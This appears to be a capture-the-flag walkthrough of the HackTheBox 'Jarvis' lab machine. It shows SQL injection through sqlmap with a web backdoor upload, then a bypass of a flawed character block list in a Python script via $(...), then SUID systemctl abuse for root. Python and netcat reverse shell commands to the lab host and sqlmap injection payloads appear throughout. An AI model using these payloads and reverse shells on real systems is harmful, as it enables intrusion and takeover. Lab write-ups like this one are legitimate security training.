HackTheBox “Jarvis” Walkthrough

Abdullah Kareem
10 min readJul 21, 2023

--

Jarvis, a medium-level Linux OS machine on HackTheBox, entails leveraging a SQL injection vulnerability to establish initial access, capitalizing on a Python script for privilege escalation to the “pepper” user, and then exploiting the Systemctl binary’s SUID privileges to ultimately elevate privileges to the coveted root level.

Let’s get started! 🚀

Recon & Enumeration

Let’s use nmap to full scan for open ports and services:

Visit the target on port 80.

The subsequent action involves executing a Feroxbuster scan to identify concealed files or directories:

└─$ sudo feroxbuster -u http://10.10.10.143 -n -X 404,403

___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.10.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.10.143
🚀 Threads │ 50
📖 Wordlist │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.10.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
💢 Regex Filter │ 404
💢 Regex Filter │ 403
🔎 Extract Links │ true
🏁 HTTP methods │ [GET]
🚫 Do Not Recurse │ true
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404 GET 9l 32w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
403 GET 11l 32w -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
301 GET 9l 28w 313c http://10.10.10.143/images => http://10.10.10.143/images/
301 GET 9l 28w 309c http://10.10.10.143/js => http://10.10.10.143/js/
301 GET 9l 28w 310c http://10.10.10.143/css => http://10.10.10.143/css/
200 GET 205l 1368w 8111c http://10.10.10.143/js/jquery.easing.1.3.js
200 GET 55l 169w 1410c http://10.10.10.143/js/magnific-popup-options.js
200 GET 35l 80w 972c http://10.10.10.143/fonts/flaticon/font/flaticon.css
200 GET 286l 482w 6117c http://10.10.10.143/js/main.js
200 GET 1l 82w 3630c http://10.10.10.143/css/owl.carousel.min.css
200 GET 368l 876w 7781c http://10.10.10.143/css/magnific-popup.css
200 GET 292l 840w 11849c http://10.10.10.143/rooms-suites.php
200 GET 52l 123w 2315c http://10.10.10.143/css/owl.theme.default.min.css
200 GET 275l 703w 6864c http://10.10.10.143/css/flexslider.css
200 GET 272l 674w 9304c http://10.10.10.143/dining-bar.php
302 GET 101l 231w 3024c http://10.10.10.143/room.php => index.php
200 GET 7l 152w 8835c http://10.10.10.143/js/jquery.waypoints.min.js
200 GET 4l 317w 15413c http://10.10.10.143/js/modernizr-2.6.2.min.js
200 GET 5l 150w 22342c http://10.10.10.143/js/jquery.flexslider-min.js
200 GET 512l 1690w 17946c http://10.10.10.143/css/bootstrap-datepicker.css
200 GET 543l 1653w 23628c http://10.10.10.143/index.php
200 GET 130l 782w 64595c http://10.10.10.143/images/menu-9.jpg
200 GET 2l 276w 40401c http://10.10.10.143/js/owl.carousel.min.js
200 GET 2334l 3908w 35786c http://10.10.10.143/css/icomoon.css
200 GET 7l 430w 36816c http://10.10.10.143/js/bootstrap.min.js
200 GET 165l 1079w 94430c http://10.10.10.143/images/menu-4.jpg
200 GET 1628l 4730w 46275c http://10.10.10.143/css/style.css
200 GET 1671l 4509w 46821c http://10.10.10.143/js/bootstrap-datepicker.js
200 GET 196l 1118w 93493c http://10.10.10.143/images/menu-2.jpg
200 GET 194l 1176w 111879c http://10.10.10.143/images/menu-3.jpg
200 GET 4l 224w 20932c http://10.10.10.143/js/jquery.magnific-popup.min.js
200 GET 3351l 7443w 73008c http://10.10.10.143/css/animate.css
200 GET 237l 1489w 125548c http://10.10.10.143/images/room-3.jpg
200 GET 258l 1722w 145650c http://10.10.10.143/images/room-1.jpg
301 GET 9l 28w 312c http://10.10.10.143/fonts => http://10.10.10.143/fonts/
301 GET 9l 28w 317c http://10.10.10.143/phpmyadmin => http://10.10.10.143/phpmyadmin/
200 GET 308l 1963w 165172c http://10.10.10.143/images/room-2.jpg
200 GET 188l 1112w 99142c http://10.10.10.143/images/menu-1.jpg
200 GET 279l 1736w 138783c http://10.10.10.143/images/room-4.jpg
200 GET 372l 1701w 151284c http://10.10.10.143/images/room-6.jpg
200 GET 6257l 14923w 134656c http://10.10.10.143/css/bootstrap.css
200 GET 543l 1653w 23628c http://10.10.10.143/
[####################] - 75s 30047/30047 0s found:40 errors:2
[####################] - 75s 30000/30000 402/s http://10.10.10.143/

A noteworthy discovery includes the presence of “rooms-suites.php.”

Clicking on one of the rooms gives us an access to /room.php, where a parameter named “cod” contains the respective room number.

Upon substituting the room’s number with either a quote ( ‘ ) or a comment (--), we observed a 404 response. Consequently, we initiated SQL injection testing on the target using the sqlmap tool, with a shell scan option (--os-shell) as a precautionary measure to potentially gain a shell.

└─$ sudo sqlmap -u http://10.10.10.143/room.php?cod=1 --dbs --batch --os-shell
___
__H__
___ ___["]_____ ___ ___ {1.7.6#stable}
|_ -| . ['] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 23:48:31 /2023-07-20/

[23:48:31] [INFO] resuming back-end DBMS 'mysql'
[23:48:31] [INFO] testing connection to the target URL
you have not declared cookie(s), while server wants to set its own ('PHPSESSID=jbrffg8kph3...brm7veq085'). Do you want to use those [Y/n] Y
[23:48:32] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: cod (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: cod=1 AND 6836=6836

Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: cod=1 AND (SELECT 9084 FROM (SELECT(SLEEP(5)))sQcx)

Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: cod=-6476 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716b716b71,0x5a6c53785a6975435063496c626c4c5245536d4d656451766852786a68735072536e427a4e417079,0x7162717171),NULL,NULL,NULL-- -
---
[23:48:32] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian 9 (stretch)
web application technology: PHP, Apache 2.4.25
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[23:48:32] [INFO] fetching database names
[23:48:32] [INFO] resumed: 'hotel'
[23:48:32] [INFO] resumed: 'information_schema'
[23:48:32] [INFO] resumed: 'mysql'
[23:48:32] [INFO] resumed: 'performance_schema'
available databases [4]:
[*] hotel
[*] information_schema
[*] mysql
[*] performance_schema

[23:48:32] [INFO] going to use a web backdoor for command prompt
[23:48:32] [INFO] fingerprinting the back-end DBMS operating system
[23:48:32] [INFO] the back-end DBMS operating system is Linux
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] JSP
[4] PHP (default)
> 4
[23:48:32] [WARNING] unable to automatically retrieve the web server document root
what do you want to use for writable directory?
[1] common location(s) ('/var/www/, /var/www/html, /var/www/htdocs, /usr/local/apache2/htdocs, /usr/local/www/data, /var/apache2/htdocs, /var/www/nginx-default, /srv/www/htdocs, /usr/local/var/www') (default)
[2] custom location(s)
[3] custom directory list file
[4] brute force search
> 1
[23:48:32] [INFO] retrieved web server absolute paths: '/images/'
[23:48:32] [INFO] trying to upload the file stager on '/var/www/' via LIMIT 'LINES TERMINATED BY' method
[23:48:33] [WARNING] unable to upload the file stager on '/var/www/'
[23:48:33] [INFO] trying to upload the file stager on '/var/www/' via UNION method
[23:48:33] [WARNING] expect junk characters inside the file as a leftover from UNION query
[23:48:34] [WARNING] it looks like the file has not been written (usually occurs if the DBMS process user has no write privileges in the destination path)
[23:48:34] [INFO] trying to upload the file stager on '/var/www/html/' via LIMIT 'LINES TERMINATED BY' method
[23:48:35] [INFO] the file stager has been successfully uploaded on '/var/www/html/' - http://10.10.10.143:80/tmpukvbg.php
[23:48:35] [INFO] the backdoor has been successfully uploaded on '/var/www/html/' - http://10.10.10.143:80/tmpbywto.php
[23:48:35] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> id
do you want to retrieve the command standard output? [Y/n/a] Y
command standard output: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'

Exploitation:

And we could have a shell using sqlmap, let’s upgrade it to a regular shell by first starting a listener.

Runing the python reverse shell command below.

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.8",4343));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

Checking our listener.

And we have a shell, let’s check what privileges we have here.

And we can can run /var/www/Admin-Utilities/simpler.py as pepper .

Let’s have a look at the content of the simpler.py script.

#!/usr/bin/env python3
from datetime import datetime
import sys
import os
from os import listdir
import re

def show_help():
message='''
********************************************************
* Simpler - A simple simplifier ;) *
* Version 1.0 *
********************************************************
Usage: python3 simpler.py [options]

Options:
-h/--help : This help
-s : Statistics
-l : List the attackers IP
-p : ping an attacker IP
'''
print(message)

def show_header():
print('''***********************************************
_ _
___(_)_ __ ___ _ __ | | ___ _ __ _ __ _ _
/ __| | '_ ` _ \| '_ \| |/ _ \ '__| '_ \| | | |
\__ \ | | | | | | |_) | | __/ |_ | |_) | |_| |
|___/_|_| |_| |_| .__/|_|\___|_(_)| .__/ \__, |
|_| |_| |___/
@ironhackers.es

***********************************************
''')

def show_statistics():
path = '/home/pepper/Web/Logs/'
print('Statistics\n-----------')
listed_files = listdir(path)
count = len(listed_files)
print('Number of Attackers: ' + str(count))
level_1 = 0
dat = datetime(1, 1, 1)
ip_list = []
reks = []
ip = ''
req = ''
rek = ''
for i in listed_files:
f = open(path + i, 'r')
lines = f.readlines()
level2, rek = get_max_level(lines)
fecha, requ = date_to_num(lines)
ip = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
if fecha > dat:
dat = fecha
req = requ
ip2 = i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3]
if int(level2) > int(level_1):
level_1 = level2
ip_list = [ip]
reks=[rek]
elif int(level2) == int(level_1):
ip_list.append(ip)
reks.append(rek)
f.close()

print('Most Risky:')
if len(ip_list) > 1:
print('More than 1 ip found')
cont = 0
for i in ip_list:
print(' ' + i + ' - Attack Level : ' + level_1 + ' Request: ' + reks[cont])
cont = cont + 1

print('Most Recent: ' + ip2 + ' --> ' + str(dat) + ' ' + req)

def list_ip():
print('Attackers\n-----------')
path = '/home/pepper/Web/Logs/'
listed_files = listdir(path)
for i in listed_files:
f = open(path + i,'r')
lines = f.readlines()
level,req = get_max_level(lines)
print(i.split('.')[0] + '.' + i.split('.')[1] + '.' + i.split('.')[2] + '.' + i.split('.')[3] + ' - Attack Level : ' + level)
f.close()

def date_to_num(lines):
dat = datetime(1,1,1)
ip = ''
req=''
for i in lines:
if 'Level' in i:
fecha=(i.split(' ')[6] + ' ' + i.split(' ')[7]).split('\n')[0]
regex = '(\d+)-(.*)-(\d+)(.*)'
logEx=re.match(regex, fecha).groups()
mes = to_dict(logEx[1])
fecha = logEx[0] + '-' + mes + '-' + logEx[2] + ' ' + logEx[3]
fecha = datetime.strptime(fecha, '%Y-%m-%d %H:%M:%S')
if fecha > dat:
dat = fecha
req = i.split(' ')[8] + ' ' + i.split(' ')[9] + ' ' + i.split(' ')[10]
return dat, req

def to_dict(name):
month_dict = {'Jan':'01','Feb':'02','Mar':'03','Apr':'04', 'May':'05', 'Jun':'06','Jul':'07','Aug':'08','Sep':'09','Oct':'10','Nov':'11','Dec':'12'}
return month_dict[name]

def get_max_level(lines):
level=0
for j in lines:
if 'Level' in j:
if int(j.split(' ')[4]) > int(level):
level = j.split(' ')[4]
req=j.split(' ')[8] + ' ' + j.split(' ')[9] + ' ' + j.split(' ')[10]
return level, req

def exec_ping():
forbidden = ['&', ';', '-', '`', '||', '|']
command = input('Enter an IP: ')
for i in forbidden:
if i in command:
print('Got you')
exit()
os.system('ping ' + command)

if __name__ == '__main__':
show_header()
if len(sys.argv) != 2:
show_help()
exit()
if sys.argv[1] == '-h' or sys.argv[1] == '--help':
show_help()
exit()
elif sys.argv[1] == '-s':
show_statistics()
exit()
elif sys.argv[1] == '-l':
list_ip()
exit()
elif sys.argv[1] == '-p':
exec_ping()
exit()
else:
show_help()
exit()

The exec_ping function of the script does a ping against an input IP address, although certain characters [‘ & ’, ‘ ; ’, ‘ - ’, ‘ ` ’, ‘ || ’, ‘ | ’] are forbidden which might otherwise be exploited to break out of the script and gain unauthorized access:

Let’s run the script simpler.pyand have a look.

Privilege Escalation:

The script simpler.py employs user input, and subsequently runs a ping command on the input. As a safeguard against command injection, it scrutinizes the input for potentially harmful characters like &, ;, -, ||, and |. However, an oversight lies in the failure to account for the dollar sign ($), which can be utilized to execute commands enclosed within $(...). Consequently, this vulnerability enables us to execute arbitrary commands and gain unauthorized access to the system by simply using $(bash).

First, we start a listener.

Next, we create a reverse shell bash file using the command below:

echo "nc -e /bin/sh 10.10.14.8 4343" > shell.sh

Then, we run the script as the user pepper .

sudo -u pepper /var/www/Admin-Utilities/simpler.py -p

And in the field of user’s input we enter the following command:

$(bash /tmp/shell.sh

Back to our listener.

And we have a shell with the privileges of the user pepper .

Let’s have a look at the suid binaries using the command below.

find / -perm -4000 2>/dev/null

So, during our check into GTFOBins, we stumbled upon a trick to exploit suid systemctl, by crafting a new service that can run a specific file when it starts up. Then, using systemctl, we enable and start this service and boom! The designated file executed with powerful root privileges shell.

First we start another listener.

Now, we create the new service using the commands below with embedding a reverse shell netcat command.

echo "[Service]
>[Unit]
>Description=root
>
>[Service]
>Type=Simple
>user=root
>ExecStart=/bin/sh -c 'nc -e /bin/bash 10.10.14.8 4343'
>
>[Install]
>WantedBy=multi-user.target" > priv.service

Subsequently, the recently created service “priv.service” is enabled and initiated.

Back to our listener.

And we have a root shell.

Cheers.

--

--

Abdullah Kareem

IT Specialist | Cyber Security Enthusiast | OSWP | eCPPT | CEH | CCNP Enterprise | CCNA | ITILv4